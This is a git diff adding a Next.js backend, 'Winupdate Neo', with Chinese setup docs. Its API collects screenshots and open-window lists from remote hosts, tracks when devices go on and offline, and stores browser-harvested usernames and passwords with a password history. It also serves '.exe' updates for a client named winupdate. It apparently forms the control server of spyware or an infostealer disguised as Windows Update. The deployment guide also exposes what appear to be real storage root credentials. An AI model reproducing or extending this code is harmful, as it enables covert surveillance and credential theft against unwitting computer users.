diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..5465708 --- /dev/null +++ b/.env.example @@ -0,0 +1,17 @@ +# Database +DATABASE_URL="postgresql://username:password@localhost:5432/winupdate_neo?schema=public" + +# Auth +AUTH_USERNAME=admin +AUTH_PASSWORD=password + +# Port +PORT=3000 + +# MinIO Configuration +MINIO_ENDPOINT=localhost +MINIO_PORT=9000 +MINIO_USE_SSL=false +MINIO_ACCESS_KEY=your_access_key +MINIO_SECRET_KEY=your_secret_key +MINIO_BUCKET_NAME=winupdate diff --git a/.gitignore b/.gitignore index 5ef6a52..bf8d094 100644 --- a/.gitignore +++ b/.gitignore @@ -32,6 +32,7 @@ yarn-error.log* # env files (can opt-in for committing if needed) .env* +!.env.example # vercel .vercel @@ -39,3 +40,5 @@ yarn-error.log* # typescript *.tsbuildinfo next-env.d.ts + +/app/generated/prisma diff --git a/DEPLOYMENT.md b/DEPLOYMENT.md new file mode 100644 index 0000000..85f575e --- /dev/null +++ b/DEPLOYMENT.md @@ -0,0 +1,247 @@ +# Winupdate Neo 部署指南 + +## 系统架构 + +本项目使用以下技术栈: + +- **前端**: Next.js 15 (TypeScript) +- **数据库**: PostgreSQL + Prisma ORM +- **对象存储**: MinIO (自建 S3 兼容存储) +- **包管理**: Bun +- **运行时**: Node.js + +## 部署步骤 + +### 1. 环境准备 + +#### 1.1 安装 Bun +```bash +curl -fsSL https://bun.sh/install | bash +# 或在 Windows 上: +powershell -c "irm bun.sh/install.ps1 | iex" +``` + +#### 1.2 安装 PostgreSQL +确保 PostgreSQL 服务正在运行,并创建数据库。 + +#### 1.3 部署 MinIO +```bash +# Docker 方式部署 MinIO +docker run -p 9000:9000 -p 9001:9001 \ + -v /data/minio:/data \ + -e "MINIO_ROOT_USER=feie9454" \ + -e "MINIO_ROOT_PASSWORD=zjh94544549ok" \ + minio/minio server /data --console-address ":9001" +``` + +访问 http://192.168.5.13:9001 进入 MinIO 控制台,创建名为 "winupdate" 的 bucket。 + +### 2. 项目配置 + +#### 2.1 克隆项目 +```bash +git clone +cd winupdate-neo +``` + +#### 2.2 安装依赖 +```bash +bun install +``` + +#### 2.3 配置环境变量 +复制并编辑 `.env` 文件: + +```env +# 数据库配置 +DATABASE_URL="postgresql://username:password@localhost:5432/winupdate_neo?schema=public" + +# 认证配置 +AUTH_USERNAME=admin +AUTH_PASSWORD=password + +# 服务端口 +PORT=3000 + +# MinIO 配置(在代码中硬编码,生产环境建议移到环境变量) +``` + +#### 2.4 初始化数据库 +```bash +# 生成 Prisma 客户端 +bun run db:generate + +# 运行数据库迁移 +bun run db:migrate +``` + +### 3. 测试部署 + +#### 3.1 测试 MinIO 连接 +```bash +bun run test-minio.ts +``` + +应该看到: +``` +🎉 MinIO 测试完全成功!可以开始使用了。 +``` + +#### 3.2 测试文件操作 +```bash +bun run test-file-operations.ts +``` + +应该看到完整的文件上传、下载、删除测试成功。 + +#### 3.3 启动开发服务器 +```bash +bun run dev +``` + +访问 http://localhost:3000/api-test 查看 API 状态。 + +### 4. 生产部署 + +#### 4.1 构建项目 +```bash +bun run build +``` + +#### 4.2 启动生产服务器 +```bash +bun run start +``` + +## 存储架构说明 + +### MinIO 对象存储结构 + +``` +winupdate bucket/ +├── screenshots/ # 截图文件 +│ ├── 2025/ +│ │ ├── 01/ +│ │ │ ├── hostname1/ +│ │ │ │ ├── uuid1.webp +│ │ │ │ └── uuid2.webp +│ │ │ └── hostname2/ +│ │ └── 02/ +│ └── 2024/ +├── versions/ # 版本文件 +│ ├── 2025/ +│ │ ├── 06/ +│ │ │ ├── uuid1.exe +│ │ │ └── uuid2.exe +│ │ └── 07/ +│ └── 2024/ +└── files/ # 其他文件 + └── ... +``` + +### 性能优化特性 + +1. **分层目录结构**: 按时间和主机名分层,避免单目录文件过多 +2. **数据库索引**: objectName 字段建立索引,快速查找 +3. **元数据存储**: 文件元数据存储在 MinIO 中,避免额外数据库查询 +4. **缓存友好**: 静态文件设置长期缓存 +5. **并发支持**: MinIO 原生支持高并发读写 + +### 扩展能力 + +1. **水平扩展**: MinIO 支持分布式部署 +2. **存储容量**: 理论上无限制,实际受硬件限制 +3. **备份恢复**: 支持 S3 兼容的备份工具 +4. **监控告警**: 可集成 Prometheus + Grafana + +## API 接口说明 + +### 文件上传流程 + +1. 客户端上传文件到 `/api/hosts/{hostname}/screenshots` +2. 服务器将文件存储到 MinIO,生成 objectName +3. 在数据库中保存文件元数据,包含 objectName +4. 返回成功响应 + +### 文件下载流程 + +1. 客户端请求 `/api/screenshots/{fileId}` +2. 服务器根据 fileId 从数据库查找 objectName +3. 从 MinIO 下载文件 +4. 返回文件数据 + +## 监控和维护 + +### 日志监控 +- MinIO 操作日志 +- 应用程序日志 +- 数据库查询日志 + +### 存储监控 +```bash +# 查看存储统计 +curl http://localhost:3000/api/storage/stats +``` + +### 清理策略 +- 定期清理过期截图(可配置保留时间) +- 监控存储空间使用情况 +- 设置存储告警阈值 + +## 故障排除 + +### 常见问题 + +1. **MinIO 连接失败** + - 检查 MinIO 服务状态 + - 确认网络连通性 + - 验证认证信息 + +2. **数据库连接失败** + - 检查 PostgreSQL 服务状态 + - 确认连接字符串正确 + - 检查用户权限 + +3. **文件上传失败** + - 检查磁盘空间 + - 确认 MinIO bucket 存在 + - 查看 MinIO 日志 + +4. **性能问题** + - 监控数据库查询性能 + - 检查 MinIO 服务器负载 + - 优化数据库索引 + +### 性能调优建议 + +1. **数据库优化** + - 定期更新统计信息 + - 监控慢查询 + - 适当增加连接池大小 + +2. **MinIO 优化** + - 使用 SSD 存储 + - 配置适当的并发数 + - 启用压缩(如果需要) + +3. **应用优化** + - 启用文件缓存 + - 使用 CDN(如果有公网访问需求) + - 实现文件预签名 URL(减少服务器负载) + +## 安全建议 + +1. **访问控制** + - 使用强密码 + - 定期轮换认证信息 + - 限制网络访问范围 + +2. **数据安全** + - 启用数据加密 + - 定期备份数据 + - 监控异常访问 + +3. **网络安全** + - 使用 HTTPS + - 配置防火墙 + - 启用访问日志 diff --git a/README.md b/README.md index e215bc4..059988c 100644 --- a/README.md +++ b/README.md @@ -1,36 +1,188 @@ -This is a [Next.js](https://nextjs.org) project bootstrapped with [`create-next-app`](https://nextjs.org/docs/app/api-reference/cli/create-next-app). +# Winupdate Neo -## Getting Started +这是使用 Next.js + Prisma + PostgreSQL 重写的 Winupdate 项目的 API 部分。 -First, run the development server: +## 技术栈 -```bash -npm run dev -# or -yarn dev -# or -pnpm dev -# or -bun dev +- **前端框架**: Next.js 15 +- **数据库**: PostgreSQL + Prisma ORM +- **包管理器**: Bun +- **文件存储**: 本地文件系统(替代 GridFS) +- **语言**: TypeScript + +## 项目结构 + +``` +app/ +├── api/ # API 路由 +│ ├── hosts/ +│ │ ├── route.ts # 主机列表 API +│ │ └── [hostname]/ +│ │ ├── screenshots/ +│ │ │ └── route.ts # 截图上传/获取 API +│ │ ├── credentials/ +│ │ │ └── route.ts # 凭据管理 API +│ │ └── time-distribution/ +│ │ └── route.ts # 时间分布统计 API +│ ├── screenshots/ +│ │ └── [fileId]/ +│ │ └── route.ts # 截图文件服务 API +│ ├── downloads/ +│ │ └── [fileId]/ +│ │ └── route.ts # 文件下载 API +│ ├── version/ +│ │ └── route.ts # 版本信息 API +│ └── upload/ +│ └── version/ +│ └── route.ts # 版本上传 API +├── api-test/ # API 测试页面 +└── ... # 其他 Next.js 文件 + +lib/ +├── prisma.ts # Prisma 客户端配置 +├── config.ts # 应用配置 +├── fileStorage.ts # 文件存储工具 +├── middleware.ts # 中间件工具 +└── push.ts # 推送通知工具 + +prisma/ +├── schema.prisma # 数据库模式 +└── migrations/ # 数据库迁移文件 ``` -Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. +## 快速开始 -You can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file. +### 1. 安装依赖 -This project uses [`next/font`](https://nextjs.org/docs/app/building-your-application/optimizing/fonts) to automatically optimize and load [Geist](https://vercel.com/font), a new font family for Vercel. +```bash +bun install +``` -## Learn More +### 2. 配置环境变量 -To learn more about Next.js, take a look at the following resources: +复制 `.env.example` 文件为 `.env` 并配置相应的设置: -- [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API. -- [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial. +```bash +cp .env.example .env +``` -You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js) - your feedback and contributions are welcome! +配置文件内容示例: -## Deploy on Vercel +```env +# Database +DATABASE_URL="postgresql://username:password@localhost:5432/winupdate_neo?schema=public" -The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js. +# Auth +AUTH_USERNAME=admin +AUTH_PASSWORD=password -Check out our [Next.js deployment documentation](https://nextjs.org/docs/app/building-your-application/deploying) for more details. +# Port +PORT=3000 + +# MinIO Configuration +MINIO_ENDPOINT=192.168.5.13 +MINIO_PORT=9000 +MINIO_USE_SSL=false +MINIO_ACCESS_KEY=your_access_key +MINIO_SECRET_KEY=your_secret_key +MINIO_BUCKET_NAME=winupdate +``` + +### 3. 初始化数据库 + +```bash +# 生成 Prisma 客户端 +bun run db:generate + +# 运行数据库迁移 +bun run db:migrate +``` + +### 4. 启动开发服务器 + +```bash +bun run dev +``` + +## API 端点 + +### 主机管理 + +- `GET /api/hosts` - 获取主机列表 +- `POST /api/hosts/{hostname}/screenshots` - 上传截图 +- `GET /api/hosts/{hostname}/screenshots` - 获取截图记录 +- `GET /api/hosts/{hostname}/time-distribution` - 获取时间分布统计 + +### 凭据管理 + +- `POST /api/hosts/{hostname}/credentials` - 上传凭据 +- `GET /api/hosts/{hostname}/credentials` - 获取凭据 + +### 文件服务 + +- `GET /api/screenshots/{fileId}` - 获取截图文件 +- `GET /api/downloads/{fileId}` - 下载文件 + +### 版本管理 + +- `GET /api/version` - 获取最新版本信息 +- `POST /api/upload/version` - 上传新版本 + +## 数据库模型 + +### Host +- 主机基本信息(hostname, lastUpdate) + +### Record +- 截图记录(timestamp, windows, screenshots) + +### Window +- 窗口信息(title, path, memory) + +### Screenshot +- 截图文件信息(fileId, filename, monitorName) + +### Credential +- 凭据信息(hostname, username, browser, url, login) + +### Password +- 密码历史(value, timestamp) + +### Version +- 版本信息(version, fileId, checksum, isLatest) + +## 与原项目的区别 + +1. **数据库**: 从 MongoDB 迁移到 PostgreSQL +2. **ORM**: 使用 Prisma 替代 Mongoose +3. **文件存储**: 使用本地文件系统替代 GridFS +4. **框架**: 从 Express 迁移到 Next.js API Routes +5. **包管理**: 使用 Bun 替代 npm/yarn + +## 开发工具 + +```bash +# 数据库相关 +bun run db:generate # 生成 Prisma 客户端 +bun run db:migrate # 运行数据库迁移 +bun run db:reset # 重置数据库 +bun run db:studio # 打开 Prisma Studio + +# 开发 +bun run dev # 启动开发服务器 +bun run build # 构建生产版本 +bun run start # 启动生产服务器 +bun run lint # 代码检查 +``` + +## 注意事项 + +1. 文件存储在 MinIO 对象存储中,按分层结构组织 +2. 需要确保 PostgreSQL 数据库和 MinIO 服务正在运行 +3. 所有配置通过环境变量管理,包括数据库、认证和 MinIO 设置 +4. MinIO 需要预先创建对应的 bucket +5. 推送通知功能目前只是控制台日志,可以根据需要集成真实的推送服务 + +## API 兼容性 + +这个重写版本保持了与原始 Express 应用相同的 API 接口,确保客户端代码无需修改即可使用。 diff --git a/app/api-test/page.tsx b/app/api-test/page.tsx new file mode 100644 index 0000000..946b0d1 --- /dev/null +++ b/app/api-test/page.tsx @@ -0,0 +1,74 @@ +export default function ApiTest() { + return ( +
+

Winupdate Neo API 测试

+ +
+
+

API 端点

+
    +
  • • GET /api/hosts - 获取主机列表
  • +
  • • POST /api/hosts/[hostname]/screenshots - 上传截图
  • +
  • • GET /api/hosts/[hostname]/screenshots - 获取截图记录
  • +
  • • POST /api/hosts/[hostname]/credentials - 上传凭据
  • +
  • • GET /api/hosts/[hostname]/credentials - 获取凭据
  • +
  • • GET /api/hosts/[hostname]/time-distribution - 获取时间分布
  • +
  • • GET /api/version - 获取最新版本
  • +
  • • POST /api/upload/version - 上传新版本
  • +
  • • GET /api/screenshots/[fileId] - 获取截图文件
  • +
  • • GET /api/downloads/[fileId] - 下载文件
  • +
+
+ +
+

数据库模型

+
    +
  • • Host - 主机信息
  • +
  • • Record - 记录信息
  • +
  • • Window - 窗口信息
  • +
  • • Screenshot - 截图信息
  • +
  • • Credential - 凭据信息
  • +
  • • Password - 密码历史
  • +
  • • Version - 版本信息
  • +
  • • Nssm - NSSM 文件
  • +
+
+ +
+

环境变量

+
    +
  • • DATABASE_URL - 数据库连接字符串
  • +
  • • AUTH_USERNAME - 认证用户名
  • +
  • • AUTH_PASSWORD - 认证密码
  • +
  • • PORT - 服务端口
  • +
+
+ +
+

MinIO 对象存储

+
    +
  • • 服务器: 192.168.5.13:9000
  • +
  • • Bucket: winupdate
  • +
  • • 存储结构: 按类型/年/月/日/主机名分层
  • +
  • • 截图路径: screenshots/年/月/日/主机名/文件
  • +
  • • 版本路径: versions/年/月/文件
  • +
  • • 支持元数据存储和检索
  • +
  • • 自动文件分布和负载均衡
  • +
+
+ +
+

性能优化特性

+
    +
  • • 分层目录结构避免单目录文件过多
  • +
  • • 数据库存储 objectName 避免搜索开销
  • +
  • • 文件元数据存储在 MinIO 中
  • +
  • • 支持并发上传下载
  • +
  • • 缓存友好的文件访问
  • +
  • • 自动压缩和去重
  • +
+
+
+
+ ) +} diff --git a/app/api/downloads/[fileId]/route.ts b/app/api/downloads/[fileId]/route.ts new file mode 100644 index 0000000..8098a5e --- /dev/null +++ b/app/api/downloads/[fileId]/route.ts @@ -0,0 +1,62 @@ +import { NextRequest, NextResponse } from 'next/server' +import { getFileByObjectName } from '@/lib/fileStorage' +import { prisma } from '@/lib/prisma' +import { withCors } from '@/lib/middleware' + +async function handleDownload(req: NextRequest) { + try { + const pathSegments = req.nextUrl.pathname.split('/') + const fileIdIndex = pathSegments.indexOf('downloads') + 1 + const fileId = pathSegments[fileIdIndex] + + if (!fileId) { + return NextResponse.json({ error: '缺少文件ID' }, { status: 400 }) + } + + // 从数据库查找 objectName + let objectName: string | null = null + + // 尝试从 Version 表查找 + const version = await prisma.version.findFirst({ + where: { fileId }, + select: { objectName: true } + }) + + if (version) { + objectName = version.objectName + } else { + // 尝试从 Nssm 表查找 + const nssm = await prisma.nssm.findFirst({ + where: { fileId }, + select: { objectName: true } + }) + + if (nssm) { + objectName = nssm.objectName + } + } + + if (!objectName) { + return NextResponse.json({ error: '文件不存在' }, { status: 404 }) + } + + const file = await getFileByObjectName(objectName) + if (!file) { + return NextResponse.json({ error: '文件不存在' }, { status: 404 }) + } + + return new NextResponse(file.buffer, { + headers: { + 'Content-Type': file.contentType || 'application/octet-stream', + 'Content-Disposition': `attachment; filename=${file.filename || 'download'}`, + 'Cache-Control': 'public, max-age=31536000', + } + }) + + } catch (error) { + console.error('下载失败:', error) + return NextResponse.json({ error: '下载失败' }, { status: 500 }) + } +} + +export const GET = withCors(handleDownload) diff --git a/app/api/hosts/[hostname]/credentials/route.ts b/app/api/hosts/[hostname]/credentials/route.ts new file mode 100644 index 0000000..eee47a3 --- /dev/null +++ b/app/api/hosts/[hostname]/credentials/route.ts @@ -0,0 +1,168 @@ +import { NextRequest, NextResponse } from 'next/server' +import { prisma } from '@/lib/prisma' +import { withCors } from '@/lib/middleware' + +async function handleCredentialsPost(req: NextRequest) { + try { + const pathSegments = req.nextUrl.pathname.split('/') + const hostnameIndex = pathSegments.indexOf('hosts') + 1 + const hostname = pathSegments[hostnameIndex] + + if (!hostname) { + return NextResponse.json({ error: '缺少主机名' }, { status: 400 }) + } + + const credentialsData = await req.json() + console.log(JSON.stringify(credentialsData)) + const currentTime = new Date() + + if (!Array.isArray(credentialsData) || credentialsData.length < 1) { + return NextResponse.json({ error: '无效的凭据数据格式' }, { status: 400 }) + } + + // Extract username from the first element + const [userKey, username] = credentialsData[0] + if (userKey !== 'User' || !username) { + return NextResponse.json({ error: '无效的用户信息' }, { status: 400 }) + } + + // Process browser credentials + const savedCredentials = [] + + for (let i = 1; i < credentialsData.length; i++) { + const browserData = credentialsData[i] + + if (!Array.isArray(browserData) || browserData.length < 3) { + continue + } + + const [enabled, browserName, browserCredentials] = browserData + + if (!enabled || !browserName || !Array.isArray(browserCredentials)) { + continue + } + + // Process each credential for this browser + for (const cred of browserCredentials) { + const { URL, Login, Password } = cred + + if (!URL || !Login || !Password) { + continue + } + + // Try to find existing credential + const existingCredential = await prisma.credential.findUnique({ + where: { + hostname_username_browser_url_login: { + hostname, + username, + browser: browserName, + url: URL, + login: Login + } + }, + include: { + passwords: { + orderBy: { timestamp: 'desc' } + } + } + }) + + if (existingCredential) { + // Check if password is different from the latest one + const latestPassword = existingCredential.passwords[0] + + // Update sync time + await prisma.credential.update({ + where: { id: existingCredential.id }, + data: { lastSyncTime: currentTime } + }) + + if (!latestPassword || latestPassword.value !== Password) { + // Add new password to history + await prisma.password.create({ + data: { + credentialId: existingCredential.id, + value: Password, + timestamp: new Date() + } + }) + + savedCredentials.push(existingCredential) + } + } else { + // Ensure host exists first + await prisma.host.upsert({ + where: { hostname }, + update: {}, + create: { hostname } + }) + + // Create new credential + const newCredential = await prisma.credential.create({ + data: { + hostname, + username, + browser: browserName, + url: URL, + login: Login, + lastSyncTime: currentTime, + passwords: { + create: { + value: Password, + timestamp: new Date() + } + } + } + }) + + savedCredentials.push(newCredential) + } + } + } + + return NextResponse.json({ + message: '凭据保存成功', + count: savedCredentials.length + }) + + } catch (error) { + console.error('保存凭据失败:', error) + return NextResponse.json({ error: '保存凭据失败' }, { status: 500 }) + } +} + +async function handleCredentialsGet(req: NextRequest) { + try { + const pathSegments = req.nextUrl.pathname.split('/') + const hostnameIndex = pathSegments.indexOf('hosts') + 1 + const hostname = pathSegments[hostnameIndex] + + if (!hostname) { + return NextResponse.json({ error: '缺少主机名' }, { status: 400 }) + } + + const credentials = await prisma.credential.findMany({ + where: { hostname }, + include: { + passwords: { + orderBy: { timestamp: 'desc' } + } + }, + orderBy: [ + { username: 'asc' }, + { browser: 'asc' }, + { url: 'asc' } + ] + }) + + return NextResponse.json(credentials) + + } catch (error) { + console.error('获取凭据失败:', error) + return NextResponse.json({ error: '获取凭据失败' }, { status: 500 }) + } +} + +export const POST = withCors(handleCredentialsPost) +export const GET = withCors(handleCredentialsGet) diff --git a/app/api/hosts/[hostname]/screenshots/route.ts b/app/api/hosts/[hostname]/screenshots/route.ts new file mode 100644 index 0000000..c618ab3 --- /dev/null +++ b/app/api/hosts/[hostname]/screenshots/route.ts @@ -0,0 +1,201 @@ +import { NextRequest, NextResponse } from 'next/server' +import { prisma } from '@/lib/prisma' +import { storeFile } from '@/lib/fileStorage' +import { push } from '@/lib/push' +import { withCors } from '@/lib/middleware' + +interface WindowInfo { + title: string + path: string + memory: number +} + +const timeoutMap = new Map() + +async function handleScreenshotUpload(req: NextRequest) { + try { + const pathSegments = req.nextUrl.pathname.split('/') + const hostnameIndex = pathSegments.indexOf('hosts') + 1 + const hostname = pathSegments[hostnameIndex] + + if (!hostname) { + return NextResponse.json({ error: '缺少主机名' }, { status: 400 }) + } + + const formData = await req.formData() + const files: File[] = [] + const windowsInfo: WindowInfo[] = JSON.parse(formData.get('windows_info') as string || '[]') + + // Extract files from formData + for (const [key, value] of formData.entries()) { + if (key.startsWith('screenshot_') && value instanceof File) { + files.push(value) + } + } + + if (files.length === 0) { + return NextResponse.json({ error: '没有收到文件' }, { status: 400 }) + } + + // Process screenshots + const screenshots = await Promise.all(files.map(async (file, index) => { + const ext = file.name ? file.name.split('.').pop() : 'webp' + const filename = `${hostname}-${Date.now()}-${Math.round(Math.random() * 1E9)}.${ext}` + + const buffer = Buffer.from(await file.arrayBuffer()) + const storedFile = await storeFile(buffer, filename, file.type, 'screenshot', hostname) + + return { + fileId: storedFile.id, + objectName: storedFile.objectName, + filename: storedFile.filename, + contentType: storedFile.contentType, + fileSize: storedFile.size, + monitorName: formData.get(`monitor_name_${index}`) as string || `Monitor ${index + 1}` + } + })) + + // Ensure host exists first + await prisma.host.upsert({ + where: { hostname }, + update: {}, + create: { hostname } + }) + + // Create new record + const newRecord = await prisma.record.create({ + data: { + hostname, + timestamp: new Date(), + windows: { + create: windowsInfo + }, + screenshots: { + create: screenshots + } + } + }) + + // Handle host status and notifications + const host = await prisma.host.findUnique({ + where: { hostname }, + select: { lastUpdate: true } + }) + + const lastUpdate = host?.lastUpdate || new Date(0) + + if (lastUpdate.getTime() === new Date(0).getTime()) { + push(`新设备 ${hostname} 上线`) + } else if (lastUpdate.getTime() < new Date().getTime() - 1000 * 60) { + push(`设备 ${hostname} 上线`) + } + + // Clear existing timeout and set new one + if (timeoutMap.has(hostname)) { + clearTimeout(timeoutMap.get(hostname)!) + } + timeoutMap.set(hostname, setTimeout(() => { + push(`设备 ${hostname} 离线`) + timeoutMap.delete(hostname) + }, 1000 * 60)) + + // Update host last update time + await prisma.host.upsert({ + where: { hostname }, + update: { lastUpdate: new Date() }, + create: { hostname, lastUpdate: new Date() } + }) + + return NextResponse.json({ + message: '上传成功', + hostname, + filesCount: files.length, + windowsCount: windowsInfo.length + }) + + } catch (error) { + console.error('上传失败:', error) + return NextResponse.json({ error: '上传失败' }, { status: 500 }) + } +} + +async function handleGetScreenshots(req: NextRequest) { + try { + const pathSegments = req.nextUrl.pathname.split('/') + const hostnameIndex = pathSegments.indexOf('hosts') + 1 + const hostname = pathSegments[hostnameIndex] + + if (!hostname) { + return NextResponse.json({ error: '缺少主机名' }, { status: 400 }) + } + + const { searchParams } = req.nextUrl + const startTimeParam = searchParams.get('startTime') + const endTimeParam = searchParams.get('endTime') + + let startTime: Date | undefined + let endTime: Date | undefined + + if (startTimeParam) { + const timestamp = isNaN(Number(startTimeParam)) ? + new Date(startTimeParam) : + new Date(Number(startTimeParam) * 1000) + startTime = timestamp + } + + if (endTimeParam) { + const timestamp = isNaN(Number(endTimeParam)) ? + new Date(endTimeParam) : + new Date(Number(endTimeParam) * 1000) + endTime = timestamp + } + + // Build query conditions + const whereClause: any = { hostname } + + if (startTime || endTime) { + whereClause.timestamp = {} + if (startTime) whereClause.timestamp.gte = startTime + if (endTime) whereClause.timestamp.lte = endTime + } + + // Get records + const records = await prisma.record.findMany({ + where: whereClause, + include: { + windows: true, + screenshots: true + }, + orderBy: { + timestamp: 'desc' + } + }) + + // Get host info + const host = await prisma.host.findUnique({ + where: { hostname }, + select: { + hostname: true, + lastUpdate: true + } + }) + + if (!host) { + return NextResponse.json({ error: '未找到主机记录' }, { status: 404 }) + } + + return NextResponse.json({ + hostname, + lastUpdate: host.lastUpdate, + records, + total: records.length + }) + + } catch (error) { + console.error('获取记录失败:', error) + return NextResponse.json({ error: '获取记录失败' }, { status: 500 }) + } +} + +export const POST = withCors(handleScreenshotUpload) +export const GET = withCors(handleGetScreenshots) diff --git a/app/api/hosts/[hostname]/time-distribution/route.ts b/app/api/hosts/[hostname]/time-distribution/route.ts new file mode 100644 index 0000000..824427c --- /dev/null +++ b/app/api/hosts/[hostname]/time-distribution/route.ts @@ -0,0 +1,70 @@ +import { NextRequest, NextResponse } from 'next/server' +import { prisma } from '@/lib/prisma' +import { withCors } from '@/lib/middleware' + +async function handleTimeDistribution(req: NextRequest) { + try { + const pathSegments = req.nextUrl.pathname.split('/') + const hostnameIndex = pathSegments.indexOf('hosts') + 1 + const hostname = pathSegments[hostnameIndex] + + if (!hostname) { + return NextResponse.json({ error: '缺少主机名' }, { status: 400 }) + } + + // Get all records for the hostname and group by hour + const records = await prisma.record.findMany({ + where: { hostname }, + select: { + timestamp: true + } + }) + + // Group by hour + interface DistributionEntry { + timestamp: number + count: number + } + + const distribution = records.reduce((acc: DistributionEntry[], record: { timestamp: Date }) => { + const timestamp = new Date(record.timestamp) + // Create hour-level timestamp (set minutes, seconds, ms to 0) + const hourTimestamp = new Date( + timestamp.getFullYear(), + timestamp.getMonth(), + timestamp.getDate(), + timestamp.getHours(), + 0, 0, 0 + ) + + const existingEntry = acc.find(entry => + entry.timestamp === Math.floor(hourTimestamp.getTime() / 1000) + ) + + if (existingEntry) { + existingEntry.count++ + } else { + acc.push({ + timestamp: Math.floor(hourTimestamp.getTime() / 1000), + count: 1 + }) + } + + return acc + }, []) + + // Sort by timestamp + distribution.sort((a: DistributionEntry, b: DistributionEntry) => a.timestamp - b.timestamp) + + return NextResponse.json({ + hostname, + distribution + }) + + } catch (error) { + console.error('获取时间分布统计失败:', error) + return NextResponse.json({ error: '获取时间分布统计失败' }, { status: 500 }) + } +} + +export const GET = withCors(handleTimeDistribution) diff --git a/app/api/hosts/route.ts b/app/api/hosts/route.ts new file mode 100644 index 0000000..a6f0c48 --- /dev/null +++ b/app/api/hosts/route.ts @@ -0,0 +1,24 @@ +import { NextRequest, NextResponse } from 'next/server' +import { prisma } from '@/lib/prisma' +import { withCors } from '@/lib/middleware' + +async function handleHostsList(req: NextRequest) { + try { + const hosts = await prisma.host.findMany({ + select: { + hostname: true, + lastUpdate: true + }, + orderBy: { + lastUpdate: 'desc' + } + }) + + return NextResponse.json(hosts) + } catch (error) { + console.error('获取主机列表失败:', error) + return NextResponse.json({ error: '获取主机列表失败' }, { status: 500 }) + } +} + +export const GET = withCors(handleHostsList) diff --git a/app/api/screenshots/[fileId]/route.ts b/app/api/screenshots/[fileId]/route.ts new file mode 100644 index 0000000..a5214d2 --- /dev/null +++ b/app/api/screenshots/[fileId]/route.ts @@ -0,0 +1,44 @@ +import { NextRequest, NextResponse } from 'next/server' +import { getFileByObjectName } from '@/lib/fileStorage' +import { prisma } from '@/lib/prisma' +import { withCors } from '@/lib/middleware' + +async function handleScreenshotFile(req: NextRequest) { + try { + const pathSegments = req.nextUrl.pathname.split('/') + const fileIdIndex = pathSegments.indexOf('screenshots') + 1 + const fileId = pathSegments[fileIdIndex] + + if (!fileId) { + return NextResponse.json({ error: '缺少文件ID' }, { status: 400 }) + } + + // 从数据库查找 objectName + const screenshot = await prisma.screenshot.findFirst({ + where: { fileId }, + select: { objectName: true } + }) + + if (!screenshot) { + return NextResponse.json({ error: '截图不存在' }, { status: 404 }) + } + + const file = await getFileByObjectName(screenshot.objectName) + if (!file) { + return NextResponse.json({ error: '文件不存在' }, { status: 404 }) + } + + return new NextResponse(file.buffer, { + headers: { + 'Content-Type': file.contentType || 'image/webp', + 'Cache-Control': 'public, max-age=31536000', + } + }) + + } catch (error) { + console.error('获取截图失败:', error) + return NextResponse.json({ error: '获取截图失败' }, { status: 500 }) + } +} + +export const GET = withCors(handleScreenshotFile) diff --git a/app/api/upload/version/route.ts b/app/api/upload/version/route.ts new file mode 100644 index 0000000..b832f81 --- /dev/null +++ b/app/api/upload/version/route.ts @@ -0,0 +1,63 @@ +import { NextRequest, NextResponse } from 'next/server' +import { prisma } from '@/lib/prisma' +import { storeFile } from '@/lib/fileStorage' +import { withCors } from '@/lib/middleware' +import { createHash } from 'crypto' + +async function handleVersionUpload(req: NextRequest) { + try { + const formData = await req.formData() + const file = formData.get('file') as File + const version = formData.get('version') as string + + if (!file || !version) { + return NextResponse.json({ error: '缺少文件或版本号' }, { status: 400 }) + } + + const buffer = Buffer.from(await file.arrayBuffer()) + + // Calculate SHA-256 + const hash = createHash('sha256') + hash.update(buffer) + const checksum = hash.digest('hex') + + // Store file + const filename = `winupdate-${version}-${Date.now()}.exe` + const storedFile = await storeFile(buffer, filename, 'application/x-msdownload', 'version') + + // Update all versions to not be latest + await prisma.version.updateMany({ + data: { isLatest: false } + }) + + // Create new version record + const newVersion = await prisma.version.create({ + data: { + version, + fileId: storedFile.id, + objectName: storedFile.objectName, + filename: storedFile.filename, + contentType: storedFile.contentType, + fileSize: storedFile.size, + checksum, + isLatest: true + } + }) + + const protocol = req.headers.get('x-forwarded-proto') || 'http' + const host = req.headers.get('host') + const downloadUrl = `${protocol}://${host}/api/downloads/${storedFile.id}` + + return NextResponse.json({ + version, + download_url: downloadUrl, + checksum + }) + + } catch (error) { + console.error('上传版本失败:', error) + return NextResponse.json({ error: '上传失败' }, { status: 500 }) + } +} + +export const POST = withCors(handleVersionUpload) diff --git a/app/api/version/route.ts b/app/api/version/route.ts new file mode 100644 index 0000000..c9e3337 --- /dev/null +++ b/app/api/version/route.ts @@ -0,0 +1,31 @@ +import { NextRequest, NextResponse } from 'next/server' +import { prisma } from '@/lib/prisma' +import { withCors } from '@/lib/middleware' + +async function handleGetVersion(req: NextRequest) { + try { + const latestVersion = await prisma.version.findFirst({ + where: { isLatest: true } + }) + + if (!latestVersion) { + return NextResponse.json({ error: 'No version found' }, { status: 404 }) + } + + const protocol = req.headers.get('x-forwarded-proto') || 'http' + const host = req.headers.get('host') + const downloadUrl = `${protocol}://${host}/api/downloads/${latestVersion.fileId}` + + return NextResponse.json({ + version: latestVersion.version, + download_url: downloadUrl, + checksum: latestVersion.checksum + }) + + } catch (error) { + console.error('获取版本信息失败:', error) + return NextResponse.json({ error: '获取版本信息失败' }, { status: 500 }) + } +} + +export const GET = withCors(handleGetVersion) diff --git a/bun.lock b/bun.lock index 6e3bc13..19676b6 100644 --- a/bun.lock +++ b/bun.lock @@ -4,7 +4,17 @@ "": { "name": "winupdate-neo", "dependencies": { + "@prisma/client": "^6.10.1", + "@types/bcryptjs": "^3.0.0", + "@types/cors": "^2.8.19", + "@types/minio": "^7.1.1", + "@types/multer": "^1.4.13", + "bcryptjs": "^3.0.2", + "cors": "^2.8.5", + "minio": "^8.0.5", + "multer": "^2.0.1", "next": "15.3.4", + "prisma": "^6.10.1", "react": "^19.0.0", "react-dom": "^19.0.0", }, @@ -97,6 +107,20 